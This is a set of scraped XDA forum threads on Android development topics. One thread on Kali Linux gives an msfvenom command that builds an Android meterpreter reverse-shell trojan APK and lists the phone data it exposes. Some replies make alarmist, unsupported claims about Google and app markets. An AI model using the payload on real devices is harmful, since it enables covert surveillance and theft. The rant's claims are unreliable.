So I decided to learn how to develop on the android platform and after installing everything I tried the helloandroid example from the android developers page and when I clicked run, the emulator window came up but then my computer started making a really weird noise like coming from the hard drive and the emulator just froze while everyting else was working fine.... I tried to force close the emulator buti could not close it and the noise would not stop......please help ....thanks
Sent from my SPH-D700 using XDA App
#1 ) this isn't the right forum for this question. Try the Android Development And Hacking forum instead ( http://forum.xda-developers.com/forumdisplay.php?f=564 )
#2 ) nothing you run on your computer should cause your computer to 'make a bunch of noise' unless the applications intention is to 'make a bunch of noise' - it sounds like you've got a hardware problem there.
Mods, can this be moved to the proper forum?
Related
I want to get into writing android apps but do not have a PC, only a Transfomer original TF101.
Are there any coding apps out there that I can use instead of the SDK / emulators that you use on PC?
I dont mean an app to create/write the code for me, simply an app that allows me to create all the files and write the code needed myself but on the TF instead of on the PC.
Many thanks!!!
Yes............
You could try JavaIDEdroid: https://market.android.com/details?id=com.t_arn.JavaIDEdroid
I do development work on a laptop, and I hate it. Fed up scrolling and tabbing about just to look at a line of code. I recommend a desktop with a decent widescreen. Or maybe hook up that hdmi cable....
This like many questions has been asked so many times that I stop answering so much.
Sent from my Transformer Prime TF201 using Tapatalk
goodintentions said:
Yes............
Click to expand...
Click to collapse
Spidey01 said:
This like many questions has been asked so many times that I stop answering so much.
Sent from my Transformer Prime TF201 using Tapatalk
Click to expand...
Click to collapse
Believe me I tried searching (alot!!) both on XDA and google and really struggled to find them. I guess the search terms are very general so it was hard to hone in.
I'll try that app suggested above, do you guys (or anyone else) have any other suggestions to look at, or can point me to a thread on XDA which has this kind of info in it?
Spidey01 said:
This like many questions has been asked so many times that I stop answering so much.
Sent from my Transformer Prime TF201 using Tapatalk
Click to expand...
Click to collapse
I've never seen any threads on this topic, but would love to find out more.
Care to point us in the right direction?
Tapatalk sucks for searching, be it my posts or the forums in general. Most stuff I have is in Simplenote or my blog, and probably all but setup notes posted on XDA.
The general case: either you use something that doesn't work exactly like the SDK (i.e. Terminal IDE from the Market), or you setup an environment you can run the necessary tools in. I have a Debian stable chroot on my device with JDK, Ant, and Android SDK setup, the only problem is a few programs like render-script support, the emulator, and maybe one core program for doing the usual ant builds (aapt I think).
So you can use the Android SDK almost perfectly fine on device, only thing is you can't make an APK or use the ant build without compiling something from the SDK yourself (and I don't know where the source is, and ASOP is a big ass thing to download now just to run grep). All the pure "Java" parts work and you can run natively by using a real JDK on your device. The Android SDK is like 90-95% pure Java code and doesn't need a GUI to function if you can live that way.
Other wise you're limited to doing things the harder way than just here's the code, make APK and go clickly in a file manager.
You can even make regular Java code that will run on Android+davlik, as long as you don't use things missing from the Android API (like Swing) and know enough about how .java becomes .apk to put it in Dalvik format.
I don't know if Eclipse and the ADT work differently or not, so I have not tried them on device. Yes, you probably could use Eclipse on device if you do the Xvnc+a VNC client but ahem, I don't even like running Eclipse on a hell of a lot more powerful hardware. With a bit of tweaking to use the right SWT, the SDK manager could run its GUI the same way but that's more bother (to me) than using a little command line fu.
For editing code either an Android app or a Linux app can be used. I use vim because I have used it since like '05. Some might prefer e.g. Touchqode.
Something like Terminal IDE is probably best for people that don't understand things but you can't do a "Regular" build like with the Android SDK on a PC.
Oh, and btw if anyone knows where I can find the source for the Android SDK, let me know because I want to get it compiled for my tablet .
Sent from my Transformer Prime TF201 using Tapatalk
Good day everyone,
Have a couple of questions to ask , some might sound idiotic, please go easy on me as am still in middle school and new to this.
So i really like anything related to programming and development, but lately am interested in mobile development.
My question is, i have a motorola razr xt910 , which i downloaded whatspp on it, now what i want to do is be able to modify things in it , but i know it needs to be an open source and ive been searching on google if it is, but i cant find an answer.
Lets say its modifiable , can i modify it to my personal needs? if so what things do i need? i know i need the android sdk , but anything else?
Thanks a bunch for your help
waelkd said:
Good day everyone,
Have a couple of questions to ask , some might sound idiotic, please go easy on me as am still in middle school and new to this.
So i really like anything related to programming and development, but lately am interested in mobile development.
My question is, i have a motorola razr xt910 , which i downloaded whatspp on it, now what i want to do is be able to modify things in it , but i know it needs to be an open source and ive been searching on google if it is, but i cant find an answer.
Lets say its modifiable , can i modify it to my personal needs? if so what things do i need? i know i need the android sdk , but anything else?
Thanks a bunch for your help
Click to expand...
Click to collapse
This is actually the wrong form for this. This is for the xt926 and xt925.
Anyway, Im 99% sure whatspp is closed source, however, you can still make modifications to it.
I recommend using Linux for anything Android. You will save a bunch of time not dicking around with drivers. There are also tons of tools to make things easier and they are mostly all free.
You will need the Android SDK, APKTOOL and the drivers for your phone if you decide to stick with Windowz. There are plenty of write-ups on how to install these tools. Actually I never found a good guide for installing APKTOOL, essentially what you need to do is place the files you download for it in the platform tools folder in the Android SDK. If you setup the SDK correctly you should be able to access APKTOOL from anywhere you can access adb.
If all you plan on doing is modifying xmls and images life will be easy, if you want to add functions and dont know java life will be hard. Actually even if you do know java life will still be hard according to some.
Just download whatsapp + you will get what you need.. Google it
Sent from my MB886 using xda app-developers app
Hello Devs-----
I would love if someone would take initiative and port over android (*cough* cyanogem) to ford mytouch.
Mytouch is windows ce. I know there is a way to unlock it with an sdcard and then there has to be a way to reinstall an operating system from that.
Can we get a new forum specifically for Ford mytouch, since it is now open source?????
This may be a starting point for uploading apps and stuff....
http://maplorer.com/myboot.html
THis is how to access diagnostic mode... maybe a way to get to a command line....
If you have Gen2 - V3.6.2 version of Sync, I found the following method worked for me.
- Make sure there isn't a CD loaded
- Turn your ignition on and then off
- Turn the entertainment system off
- Hold the eject button and the fast forward button on the steering wheel
Within a few seconds the background colours will go black,
then the diagnostic page will appear shortly afterward.
Data for the GPS page takes a while to load so be patient.
Here is a link to more hacking info on this beast.
www.focusfanatics.com/forum/showthread.php?t=261981
Sent from my Nexus 7 using XDA Premium 4 mobile app
Just bumping this.
Interested in this. :good:
I am very interested in this as well. I found this video. I don't know if it will help but I hope so. I can't post the link because I am still a new user but if you do a search for "How You Can Hack Your Car With Ford SYNC AppLink " there is a nice article on lifehacker.
Another link here http://forum.xda-developers.com/showthread.php?p=56711794
Hey guys, first of all, sorry if I post on the wrong section.
I have aquestion for devs. I'm a student developer and I'm learning to develop for Android. Do you guys think I'd necessarily need an Android device or the Android emulator would be enough(maybe for one year or more). I also like w10 mobile and I don't know what to do.
Thanks!!!!!!
Also another question, I'm a really beginner dev, but I'd like to get involved in community development, hacking etc, what do you guys recommend to me? Where should a beginner like me start from?
I am always running the apps on a real device if I can. This is definetly needed if the app uses for example something like networking because these functions will not be available on an emulator. The main reason however for using a real device is that it runs a lot smoother. The emulator can take a long time to boot up and it can be really laggy when running the app. Also when you are holding the phone on your hand you get to see how the app really looks and feels.
Emulator is ok though if there is nothing else available.
VilleI said:
I am always running the apps on a real device if I can. This is definetly needed if the app uses for example something like networking because these functions will not be available on an emulator. The main reason however for using a real device is that it runs a lot smoother. The emulator can take a long time to boot up and it can be really laggy when running the app. Also when you are holding the phone on your hand you get to see how the app really looks and feels.
Emulator is ok though if there is nothing else available.
Click to expand...
Click to collapse
Thanks for your reply. Well... the emulator is not really slow on latest versions of android studio... but it does start pretty slow. I'll finally use a real device.
On ADV, how can you test GPS, other sensors?
Do you guys think I'd necessarily need an Android device or the Android emulator would be enough(maybe for one year or more)
Click to expand...
Click to collapse
You can use Android Studio emulator and it will work in most cases. Couple recommendations:
1. Select Android version with Google APIs when creating device
2. Install Intel HAXM (you can find it in SDK manager also) - this will really speed up your emulator including loading time
3. Android Studio 2.0 will be released soon and looks like they will improve emulator performance and functionality there.
Of course you may face something wich is not currently works on emulator but you will face this on a real devices too - some features may work different on devices from different manufacturers. But the chance with facing this kind of troubles is very low when you work on common stuff. Also you can take a look to the 3rd party emulators, like Genymotion.
Anyway I prefer to use real device when developing because I can "feel" it
Where should a beginner like me start from?
Click to expand...
Click to collapse
Start with creating some app which will work with some Rest services, display some sort of lists, images, use database to store data. Just think about creating something useful and interesting for you.
---------- Post added at 04:54 PM ---------- Previous post was at 04:50 PM ----------
Cuong Phan said:
On ADV, how can you test GPS, other sensors?
Click to expand...
Click to collapse
You can test GPS using different apps which mocks your location (you can download apk from play store and install it on emulator) or using the terminal:
1. Connect to emulator with "telnet localhost 5554" command. Maybe you will need to change "5554" with another digits - just look at emulator's window title
2. Set location with "geo fix 12.345 67.89" command
What other sensors you need to test?
Used android emulators a lot, but mostly to test different unusual screen resolutions/dpi combinations.
They're ok speedwise, but you'll never get real feel of your app on AVD. And please, don't release anything, that just been tested only on AVD.
Also AVDs are quite good for recording videos of your app UI using screengrabbers on desktop (SSR - Simple Screen recorder is the best for me so far)
As for beginner's project - try to implement little game. I've started with simple rotating cube example from "Hello Android" book , and this little project ended with game with 3M downloads on play store
Android emulator will work when you begin a project.
If you need more tests or make a formal public apk, you can use real devices.
Best way is use both if you have device - use device. Another android versions, resolutions, sizes etc. test on the emulator.
If standard emulator is too slow, you can use genymotion.
Code:
This is just for Educational Purpose nothing else .......
So while i was learning about Linux . I came to know that there is a distro of Linux called Kali Linux. Kali Linux basically has 300+ Hacking tools and has this
metasploit framework in it . Basically it will either create a Windows Trojan or an Android Trojan . I researched about it a bit and came to know that when you basically type in the following in the Terminal.
Code:
msfvenom androidmeterpreter/reverse_tcp LHOST=YOUR IP LPORT=ANY3/4DIGITS R > anyname.apk
This command makes it to compile a .apk with the payload and creates it.
When installed in a Android Device it is installed as MainActivity.apk
It can access a phone's Contacts, SMS logs , Call Logs , MICROPHONE , CAMERA !!! , Device Tree , Contents of the Device , Keylogs etc...
It is a light trojan ( not more than 0.3 MB ) and can run in background unnoticed . These Information of your devices are streamed to the hacker and compromises your security . So never download unknown APKS from the web .
In /system/app By default, haves an stock app called, DefaultContainer.apk (fixed)
All androed haves drm server and DefaultContainer.apk
Someday i think: "if a disable this app?"
Well, good question:
Answer is (When try to installing by brute force or PackageInstaller With disabled DefaultContainer.apk)
Result:
Unable to install package...
No exploits like this will be done in little time soon.
Sent from SomeFon
Either Google Inc., or AOSP must ensure that the exploit of this nature mustn't be happening in the future...
Can you post a link to the exploit's documentation on Metasploit? I'm running Kali on my MacBook and my Android tablet - and I don't see how that exploit is still open. Looks closed based on quite a few security & OS upgrades since it was found.
yawn... you might as well have titled this "Water found in ocean"
For starters android is awesome and very very flawed (like most 10/10 chicks you will ever meet) This has been a media circus for like 10 yrs now I think.... especially as of very recently we have all concluded that android isn't secure enough to order pizza online (seriously) Every few months theres a headline "huge vulnerabilty detected in Android patch unavailable but uhhh coming soon" (5 yrs later)
As for Kali its the succesor or second edition to Backtrack linux. These are distros specifically made for penetration testing. Basically its another tool for network security experts to assess the condition of a networks known vulnerabilities that haven't been patched yet. Using metasploit you are able to scan a network to find any unpatched bugs and then it will apply the exploit for you. Also I assure you it is much more complicated then typing one command into a box.... one day lol ohhh and those pentesting distros (backtrack is now retired) are nothing special... it is just a basic version of linux that comes preinstalled with a TON of basically security app you would ever want It is generally not recommended to run kali as your personal OS especially if your are teh noobcakes..
Don't use blackmart app.
This a dangerous malware masked as
Paralel market
DonT use ANY MARKET APP
TRY cut by BRUTEFORCE YOUR DEVICE and delete urgent all that is gogle's apps!!
These apps are sending randomic authenthic .jar files and .dex files, to execute these binaries from the cache folder of these damn "markets"
Jar files, and dex files, ACCORDING WITH THE ANDROED MASTER KEY,
May gain root, may destroy your GPU or simply your device does not boot anymore.
I tried continue to use blackmart app with locked cache folder.
The app refuses to start
The app NEEDS CACHE FOLDER FREE
For starting their CHEATS.
AN APP THAT ⱢDENY STARTS WHEN CACHE FOLDER IS LOCKED, IS A MALWARE!
the app curiously worked with locked cache after a few days, but, now is refuaing.
BE AWARE WITH ALL CHIT THAT GOGLE'S SICK AND THEIR PESTS SLAVES ARE DOING WITH YOU
.
Sent from Somefon
epic wow.... like just woah
tried continue to use blackmart app with locked cache folder.
The app refuses to start
Click to expand...
Click to collapse
This my friend was not an educated decision whatsoever ... "googles got the freakin kung fu grip on me nads so I guess I will just burn it all down" hmmm
I completely kinda mostly agree with what you posted about Google "which is government owned and operated now for some time... along with their butt buddies facebook.... My humble suggestion would be to (VERY CAREFULLY) learn how to root, unlock the bootloader and then install a custom rom like cyanogenmod on your cellphone. and yeah I would never ever recommend pirate Google play... just.... no!
But really it doesn't matter in the end... android is sooooooo filled with critical exploits..... I wouldn't lose any sleep over it.... ll and don't worry the same it will only get worse over time with Google and the bully things that bullies do.
The exploits borns on critical os, on where begun in a DAMN INC. NAMED AS GOOGLE, that DOES NOT RECOMENDS ROOT, BECAUSE THEY ARE ROOT.
i never seen a windows or unix-like os without root
Did you seen any Linux LAN vulnerable to "exploits"??
If yes, pass me the trick for hack the entire facebok and opera servers!
Sent from Somefon